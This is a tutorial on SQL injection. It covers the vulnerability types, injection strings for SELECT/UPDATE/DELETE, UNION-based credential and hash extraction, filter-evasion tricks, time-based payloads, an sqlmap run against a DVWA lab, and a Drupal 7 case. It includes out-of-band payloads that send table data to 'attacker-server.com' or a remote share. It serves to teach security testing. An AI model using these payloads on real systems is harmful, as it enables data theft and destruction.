Introduction to SQL Injection
SQL Injection (SQLi) is one of the most serious security vulnerabilities facing web applications today. Due to its significant impact and frequent appearance in online systems, it is consistently included in the OWASP Top 10 (Open Web Application Security Project’s list of the most critical security risks).
This vulnerability allows malicious users to execute unauthorized SQL statements against an application’s database. The consequences of a successful SQL injection attack can be devastating. They range from modifying the application’s flow to exposing all stored sensitive information within the data store (usually a database server), or even compromising the entire server, turning the initial flaw into a larger attack vector.
The Genesis of SQL Injection
To understand how SQL injection works, one must first appreciate the nature of programming languages used in web development. Programming languages generally fall into two categories:
- Compiled Languages: These languages transform source code directly into binary code (strings of 1s and 0s) that the computer can execute at a low-level.
- Interpreted Languages: These languages rely on an interpreter to read and execute the source code instructions at runtime.
Most modern web technologies employ interpreters or virtual machines (VMs). Popular interpreted languages include PHP, Python, Ruby, and JavaScript. Technologies like .NET and Java use a VM to process bytecode (intermediate code), which sits between compiled and interpreted forms. These technologies are crucial as they create the statements used to interact with data stores.
Data Stores and Dynamic Statements
A data store is any repository where an application keeps information. While it often refers to a database, it could also be a file, an LDAP repository (Lightweight Directory Access Protocol), or XML files. The current focus remains on databases, particularly the widely adopted SQL-based databases, despite the rise of NoSQL alternatives.
To manage information, applications query the database using SQL statements. For example, retrieving a list of users requires a statement:
SELECT * FROM users;As applications grow and information becomes more complex, SQL statements must become dynamic, not static. This means the application needs to construct these statements using information supplied by the end-user.
Consider a simple university system where a user searches for a student named ‘Diana’. The application might generate a query like:
SELECT 'Diana' FROM students;In a real-world scenario, the application must use a variable, $name, supplied via a form to build this query dynamically, which might look something like this in the backend code:
'SELECT * FROM students WHERE name = ' . $name . ';The Security Flaw: Unvalidated Input
The fundamental rule in application security is that all data entered by a user is unreliable and must be validated by the application before use.
The vulnerability arises when the application passes user-supplied data (like the $name variable) directly into the SQL statement without proper validation or sanitization.
What happens if a malicious user enters an unexpected string, such as a single quote followed by a SQL comment indicator (e.g., '--)?
If the user enters: Diana'--
The resulting SQL statement becomes:
SELECT * FROM students WHERE name = 'Diana'--';The database management system (DBMS) interprets the first single quote (') as the legitimate closing of the string literal 'Diana'. The double dash (--) is a SQL comment, telling the database to ignore the rest of the statement, including the final quote intended by the programmer.
The effective query executed by the server is now simply:
SELECT * FROM students WHERE name = 'Diana'While this specific example is benign, it demonstrates how special characters included in the unvalidated input are interpreted as valid SQL syntax, modifying the statement’s logic. This simple concept is the basis of how SQL injection works.
Classifying SQL Injection Attacks
SQL injection attacks are broadly categorized into three types, based on the channel used to deliver the attack and receive the results.
1. In-band SQL Injection
In-band SQL injection is the most common type. The attacker uses the same communication channel (the application’s HTTP request and response) to both send the malicious statement and receive the database’s response.
It includes two sub-types:
- Error-based SQL Injections: These are often the easiest to exploit. The attacker deliberately crafts input that causes the database server to return an error message containing useful information (like table names or system details) directly within the HTTP response.
- Union-based SQL Injections: The attacker uses the
UNIONstatement to combine the results of the original, legitimate query with the results of a malicious query. The combined data is then returned in the standard HTTP response, revealing unauthorized information.
2. Inferential (Blind) SQL Injection
Also known as blind SQL injection, this attack type occurs when the attacker cannot directly see the errors or results of the malicious query in the application’s HTTP response. Attackers must infer what is happening on the backend by observing subtle changes in the application’s behavior or response time.
It includes two sub-types:
- Boolean-based Blind SQL Injection: Statements are designed to change a Boolean value (True/False) on the backend. The attacker observes whether the HTTP response content changes (e.g., one page shows different content than another) to infer the success or failure of a specific query condition, allowing them to extract data one character at a time.
- Time-based Blind SQL Injection: This technique relies on measuring the time taken for the database server to generate a response. The attacker inserts SQL functions (like
WAITFOR DELAYorpg_sleep()) that cause a delay only if a certain condition is met. A noticeable variation in response time indicates whether the injected statement was successful.
3. Out-of-band SQL Injection
Out-of-band SQL injection is a complex technique used when the attacker cannot receive the error or result through the same channel or cannot infer it. The attack requires using an external channel to exfiltrate the data or confirm the attack’s success.
For example, an attacker might craft a query that forces the database server to make an external network request (e.g., a DNS resolution or an HTTP request) to a server controlled by the attacker. This technique is less common and often more difficult to detect in security assessments or bug bounty programs where the scope is typically limited.
Fundamental Exploitation Technique
Consider a typical query used to retrieve student information based on an identification number (kardex):
SELECT student_name, average FROM students WHERE kardex = '2004620080';In this example, the application treats the kardex number as a string. As seen before, if a user submits a single quote, the statement breaks, resulting in an error like:
Unclosed quotation mark before the character string '
This error confirms that the application is not validating the input correctly.
To turn this discovery into a useful exploit, the attacker can insert the string ' OR 1=1-- into the input field.
If the user enters: x' OR 1=1-- (using an arbitrary character like ‘x’ to close the initial quote)
The resulting SQL statement executed on the server becomes:
SELECT student_name, average FROM students WHERE kardex = 'x' OR 1=1--';The Result of the Malicious Query
The database server evaluates the WHERE clause: kardex = 'x' OR 1=1.
- The first condition,
kardex = 'x', is likely FALSE for most records. - The second condition,
1=1, is universally TRUE. - Because the logical operator is
OR, the entire expression evaluates to TRUE for every single record in thestudentstable. - The comment indicator
--ignores the final closing quote of the original statement.
The result? The database server responds with all the records stored in the students table, not just the one corresponding to a single kardex number. This simple but powerful technique illustrates the core mechanism of SQL injection exploitation.
Specific Injection Contexts
While the general principles remain the same, certain platforms have unique attack surfaces.
- Salesforce SQL Injection: Specific to the Salesforce platform and its underlying data access layers.
- Drupal SQL Injection: Often targets the database abstraction layer used by the Drupal content management system.
These platform-specific cases often require specialized payloads but follow the same fundamental logic of leveraging unvalidated user input to manipulate the database query.
Exploiting SQL Injection: A Zero-Tolerance Approach to Database Security
Initial Detection and Testing Strings
The first step in identifying a potential SQL injection vulnerability involves submitting specifically crafted input strings designed to alter the database query’s logic. The goal is to induce a behavior change—such as an error, a new result set, or a change in response time—that signals unvalidated input.
The Power of Boolean Logic
A core testing string is based on generating a Boolean TRUE value that the database can easily evaluate. This commonly used initial string is:
' OR 1=1--
This string works by closing the preceding string literal (with the single quote '), inserting a universally true condition (1=1), and then commenting out the rest of the original query (with the double dash --).
Other variations that serve the same purpose and should be tested if the primary string fails include:
' OR 'a'='a' OR 1=1' OR 1==1--(The original text used'1 or 1==1--, but note the common practice of usingORororfor clarity in the injection payload.)
Automated Vulnerability Scanning
For the basic identification of SQL injection vulnerabilities across a large number of input fields, security professionals highly recommend using the Intruder tool included in Burp Suite (a popular web application security testing platform).
The process involves loading the testing strings into a payload file and launching a high-volume attack against the target application:
- Create a Payload File: Start by creating a plain
.txtfile and listing all the testing strings mentioned above. - Configure Burp Intruder: Open Burp Suite, navigate to Intruder
Payloads
Payload Options, and use the Load function to select the
.txtfile you created. - Launch the Attack: Configure the Intruder position markers to target the input fields you want to test. Burp Suite will systematically iterate through all the payload strings against the designated fields, helping to quickly identify responses that signal a vulnerability.
Exploiting Different SQL Statements
SQL injection vulnerabilities are not limited to SELECT queries (used for retrieving data). They can affect any SQL command that incorporates unvalidated user input, including those used for modifying or deleting data.
Targeting INSERT Statements
The INSERT statement is used to add new information into a database table. Consider an application query designed to add a new student record:
INSERT INTO students (student_name, average, group, subject)
VALUES ('Diana', '9', '1CV01', 'Math');In the backend, this query might use parameters like:
"INSERT INTO students (student_name, average, group, subject)
VALUES ('".$name."', '".$number."', '".$group."', '".$subject."');"
Note the use of the backslash (\) to escape the single quotes in some programming languages. This prevents the quotes from terminating the string prematurely, though many modern practices use parameterized queries for better security.
If a malicious string is inserted, it can often cause an application crash because INSERT statements strictly require the number of values to match the number of columns specified. However, the core vulnerability remains: if inputs are not properly validated, an attacker may be able to cut the complete statement and modify the information to be inserted, or even chain a second malicious command using a semicolon.
Targeting UPDATE Statements
The UPDATE statement is used to modify existing information in a database record. Imagine a system where a student is allowed to change their password:
UPDATE students SET password='new_pass' WHERE student_name = 'Diana' AND password = 'old_pass';The application’s backend code might look like this:
PHP
"UPDATE students SET password='".$new_pass."' WHERE student_name = '".$student_name."' AND password = '".$past_password."'";
An attacker can target the user-provided student_name parameter with the familiar exploitation string. If the attacker enters the string Diana' OR 1=1-- into the student_name field, the resulting query becomes:
UPDATE students SET password='new_pass' WHERE student_name = 'Diana' OR 1=1--' AND password = 'old_pass'
Due to the inserted OR 1=1 (which is always TRUE), the entire WHERE clause evaluates to TRUE for all records. The crucial result is that the system’s intended validation—checking the user’s current password—is completely bypassed. The UPDATE operation will execute, changing the password (or other fields) without requiring the original credentials.
Targeting DELETE Statements
The DELETE statement is used to remove records from a database. A standard deletion query might look like:
DELETE FROM students WHERE student_name = 'Diana';If the attacker inputs the string ' OR 1=1-- into the name parameter, the resulting query is:
DELETE FROM students WHERE student_name = '' OR 1=1--'Since the WHERE clause now evaluates to TRUE for every record in the table, the consequence is catastrophic: all registers are deleted from the students table.
Advanced Exploitation: Leveraging the UNION Operator
As part of in-band SQL injection, the UNION operator is a powerful tool for advanced data exfiltration. The UNION operator is used to combine the result sets of two or more SELECT statements into a single result set.
To successfully use UNION, two critical conditions must be met:
- Both
SELECTstatements must have the same number of columns. - The data types in the corresponding columns of both statements must be compatible.
Using the initial example:
SELECT student_name, average FROM students WHERE kardex= '2004620080';The original query requests two columns (student_name and average). To exploit this, the attacker must insert a malicious UNION SELECT statement that also requests two columns.
The attacker might inject the following string:
' UNION SELECT admin, password FROM administrators--The full modified statement executed by the database would look like this:
SELECT student_name, average FROM students WHERE kardex='' UNION SELECT admin, password FROM administrators--'If the data types are compatible (e.g., both columns in the malicious select are text/string types), the database will execute the query. The application, expecting two columns of student data, will instead receive the values from the admin and password columns of the administrators table. This allows the attacker to extract critical information, such as administrative credentials, far beyond what the developer originally intended.
Deep Interaction with the Database Management System (DBMS)
The impact of a SQL injection vulnerability extends far beyond simple data theft. A successful exploit can compromise not just the application and its data, but also the Database Management System (DBMS) itself and potentially the underlying operating system. The level of compromise is generally limited only by the commands available in the DBMS and the user privileges of the running database instance, which is often configured as a high-privilege user like a database operator.
Revealing System Secrets
One initial goal of a serious SQLi attack is to map the environment by querying the DBMS directly. Using the UNION operator, an attacker can extract system-specific details, such as the DBMS version:
Injection Payload Example:
' UNION SELECT @@version, NULL--Resulting Query (Conceptual):
The database server returns the value of the built-in system variable @@version, revealing crucial information about the database type (e.g., MySQL, MSSQL) and its specific version, which aids in tailoring further attacks.
SELECT student_name, average FROM students WHERE kardex=' ' UNION SELECT @@version, NULL--Bypassing Security Controls
Developers often implement basic security controls to block common SQLi attacks. However, these controls—typically whitelists (only allowing specific characters) or blacklists (blocking known malicious keywords)—can often be bypassed.
Encoding and Character Manipulation
When a simple single quote (') is blocked, a technique called string concatenation using character codes can be used to construct the necessary string without using the restricted character.
Bypass Example using CHR():
Instead of using a simple string literal, the attacker constructs the string from its ASCII or Unicode character values. For example, to inject the string ‘marcus’ without single quotes:
SELECT student_name, average FROM students WHERE kardex=CHR(109)||CHR(97)||CHR(114)||CHR(99)||CHR(117)||CHR(115)(CHR() is a function that returns the character corresponding to an ASCII value. || is often the concatenation operator in SQL dialects like Oracle or PostgreSQL.)
Equivalent Statements
If a specific testing string like ' OR 1=1-- is blacklisted, an attacker simply uses an equivalent statement that achieves the same Boolean TRUE result:
Blocked String: ‘ OR 1=1–
Equivalent Bypass: ‘ OR ‘a’ = ‘a–
URL Encoding and Obfuscation
Attackers can also encode their strings to bypass simple input validation checks that only look for plaintext malicious keywords. For example, a partial URL encoding can sometimes sneak past certain filters:
- URL Encoded Example:
%2553%2545%254c%2545%2543%2554(This decodes toSELECT)
SQL Comments for Blacklist Evasion
A common method for evading blacklists that filter keywords like SELECT or FROM is to insert SQL comments strategically within the keyword itself. The DBMS often ignores content within /**/ comments, allowing the statement to execute while fooling the simple filter.
Comment Bypass Example:
SE/*C-OMMENT*/LECT student_name, average FR/*C-OMMENT*/OM students WH/*C-OMMENT*/ERE kardex=' UNI/*C-OMMENT*/ON SEL/*C-OMMENT*/ECT @@version,NULL--
Blind Exploitation Techniques
As previously discussed, blind SQL injection is necessary when the application’s HTTP response does not directly show the results or errors generated by the malicious query. The attacker must infer whether the injection was successful.
1. Boolean-Based Blind SQLi (Content Differences)
This method relies on detecting differences in the HTTP response content when a Boolean condition (e.g., Is the first character of the admin password ‘a’ ?) is TRUE versus FALSE.
- Identifying Differences: Security tools like Burp Suite are used to send multiple requests. By observing the Length column of the HTTP responses (often found in the Intruder or Proxy History tabs), an attacker can spot requests that have a significantly different size, indicating a change in the page content due to a successful query condition.
- Detailed Comparison: Once a difference is identified, the Comparer tool in Burp Suite is used to copy and paste the varying requests or responses to precisely highlight which part of the HTML or data has changed. This change confirms that the injected Boolean condition was processed and returned a TRUE value.
2. Time-Based Blind SQLi (Delayed Response)
This method relies on measuring the time taken for the database to respond. The attacker injects a command that causes a time delay only if a specific query condition is met.
Common Time-Based Operators:
| Operator | DBMS | Purpose |
BENCHMARK | MySQL | Executes an expression a specified number of times. |
ENCODE | MySQL | Causes a delay (often in conjunction with other functions). |
WAITFOR | MS SQL Server | Suspends execution for a specified period of time. |
IF | Various | Used to execute a delay function conditionally. |
Time-Based Payload Example (Conceptual):
' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1If the condition before the SLEEP(5) statement is TRUE, the database will pause for 5 seconds; otherwise, it returns immediately.
Out-of-band Exploitation
Out-of-band (OOB) SQL injection is used when it is not possible to view the results or infer them through the application’s response (in-band or blind). It requires using a second, external channel to exfiltrate data or signal success, often involving a second data store or a network service (like DNS).
Remote Data Transfer (MS SQL Server)
In MS SQL Server-based vulnerabilities, an attacker can force the database to connect to a remote server controlled by the attacker and transfer data.
Example Payload:
INSERT INTO openrowset('SQLOLEDB', 'DRIVER={SQL Server};SERVER=attacker-server.com;UID=sa;PWD=password', 'SELECT * FROM students') values (@@version)This command attempts to insert the DBMS version (@@version) into a remote database (attacker-server.com) by executing a SELECT * FROM students query on the victim server and sending the results to the attacker’s server.
File Exfiltration
If the database user has sufficient file system privileges, data can be written to a file on the network or the server’s local file system.
Example Payload:
SELECT * INTO OUTFILE '\\\\192.168.0.45\\share\\pwned.txt' FROM students;This command attempts to write all records from the students table to a file named pwned.txt located on a remote network share at 192.168.0.45, thereby exfiltrating the data.
Practical Example: Mapping and Extracting Data
Consider an application with a vulnerable form field where the original SQL query is:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";1. Confirming Vulnerability and Register Extraction
An attempt with a string like ' OR 1=1-- might initially fail due to how the application handles quotes. Instead, a similar equivalent string like ' OR 1=1 is used to force the DBMS to evaluate a TRUE statement.
Injected String: ' OR 1=1
Final Statement: SELECT first_name, last_name FROM users WHERE user_id = ' ' OR 1=1;
Since the WHERE clause evaluates to TRUE for every row, the application returns all registers (all user first and last names), confirming the vulnerability.
2. Mapping the Database Structure (Schema)
The next step is mapping the database—identifying the available tables. This is done by querying the DBMS’s built-in schema tables (e.g., information_schema.tables).
Injected String (to extract table names):
%' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables #%' AND 1=0: This ensures the original query returns zero results (an ID cannot be%and1=0is FALSE), allowing theUNIONquery to display its results first.UNION SELECT NULL, table_name: This selects the names of all available tables. Note thatNULLis used to match the column count of the original query (first_name,last_name).#: The hash symbol is often used as a comment in MySQL to nullify the rest of the original query.
This yields a list of table names, including sensitive ones like users.
3. Exfiltrating Hashes and Credentials
With the table name (users) known, the attacker constructs a final query to extract sensitive data like usernames and password hashes (a secure, one-way representation of a password).
Injected String (to extract user data and password hashes)
%' AND 1=0 UNION SELECT NULL, CONCAT(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users #CONCAT(...): This function combines multiple columns into a single string to fit into the second column of the originalSELECTstatement.0x0a: This is the hexadecimal representation of the newline character (), used to separate the fields and make the extracted data readable.
This extraction provides the stored password hashes. While not the plain-text password, a hash can often be cracked (reversed to its original text) if the hash algorithm is weak or if the password is simple. If the hash is cracked, the attacker can connect directly to the server using the compromised credentials, escalating the attack beyond the single application.
Automated SQL Injection Exploitation and Real-World Case Study
While manual testing provides a deep understanding of SQL injection (SQLi) vulnerabilities, specialized tools exist to automate the detection and exploitation process. This dramatically increases the speed and scope of security assessments.
The Power of Automation with sqlmap
sqlmap is an open-source tool specifically designed to automate the process of detecting and exploiting SQL injection flaws and taking over database servers. The tool performs a vast number of tests to identify the specific type of vulnerability and then tailors its payloads for maximum impact.
Launching an Automated Attack
To use sqlmap, the attacker first needs to capture the specific HTTP request sent by the application, typically using an HTTP proxy like Burp Suite. This request contains the URL, parameters, and necessary headers (like cookies) for maintaining the application session.
Example HTTP Request (Captured):
GET /dvwa/vulnerabilities/sqli/?id=cosa&Submit=Submit HTTP/1.1
Host: 192.168.1.72
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: security=low; PHPSESSID=os91d50l1vbbipkvk7v0id7he2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
The next step is to launch sqlmap from the command line, providing the target URL and the necessary session cookie to ensure the tool interacts with the application as an authenticated or specific user (in this case, one with low security settings).
Example sqlmap Command:
sqlmap.py -u "http://192.168.1.72:80/dvwa/vulnerabilities/sqli/?id=cosa^&Submit=Submit" --cookie="security=low;PHPSESSID=os91d50l1vbbipkvk7v0id7he2"-u: Specifies the target URL.^&: The caret (^) escapes the ampersand (&) in some operating systems’ command shells to ensure it’s passed as part of the URL, not interpreted as a command separator.--cookie: Passes the necessary session cookies for the tool to maintain context.
The “Magic” of Automation:
Once launched, sqlmap automatically performs hundreds of checks using various injection techniques (in-band, blind, time-based, error-based) across different database types. It determines which parameters are vulnerable, identifies the underlying DBMS, and can proceed to extract table names, column names, and data—all with a single command.
The utility of sqlmap extends far beyond this basic example. For those interested in deeper exploitation capabilities, further documentation is available on the tool’s website: http://sqlmap.org/.
Real-World Case Study: SQL Injection in Drupal 7
SQL injection vulnerabilities frequently appear in popular content management systems (CMS). One notable example is a severe SQLi flaw discovered in Drupal 7 versions prior to 7.32.
The Vulnerable Query
The vulnerability was publicly disclosed by a bug bounty hunter named Stefan Horst on April 6, 2015. The core issue lay in how Drupal’s database abstraction layer handled queries that used the IN operator with an array of values.
The Original Vulnerable Query (Conceptual):
db_query("SELECT * FROM {users} WHERE name IN (:name)", array(':name' => array('user1', 'user2')));
The Exploitation
The way the statement was constructed and sanitized allowed a malicious payload to prematurely close the query, introducing a second, separate SQL statement.
The Exploited Query (Conceptual):
SELECT * FROM users WHERE name IN (:name_test) -- , :name_test )By exploiting this flaw, attackers could effectively dump the entire database, modify existing data, or even drop (delete) whole tables—a highly critical vulnerability.
For more details on this specific vulnerability, the full report is available for review: https://hackerone.com/reports/31756.
Summary of SQL Injection Fundamentals
This detailed examination of SQL injection highlights key principles critical for both defense and offensive security testing:
Automation: Using dedicated tools like sqlmap allows for the complete automation of SQL injection detection and exploitation, demonstrating the critical need for proper application defense.
Root Cause: SQL injection vulnerabilities are fundamentally caused by a lack of input validation or the improper use of parameterized queries when integrating user-supplied data into a database statement.
Identification: To identify a potential SQLi bug, security testers intentionally enter special characters (like single quotes or comments) to generate an error or an unexpected change in application behavior.
Types: There are three main categories of SQL injection based on how the results are delivered:
In-band: Results are returned in the same channel (HTTP response).
Inferential (Blind): Results must be inferred through Boolean logic or time delays.
Out-of-band: Results are sent through a separate, external channel.
Manual Tools: Tools like Intruder and Comparer within Burp Suite can significantly aid in the semi-automated identification of SQLi by tracking changes in response size and content.
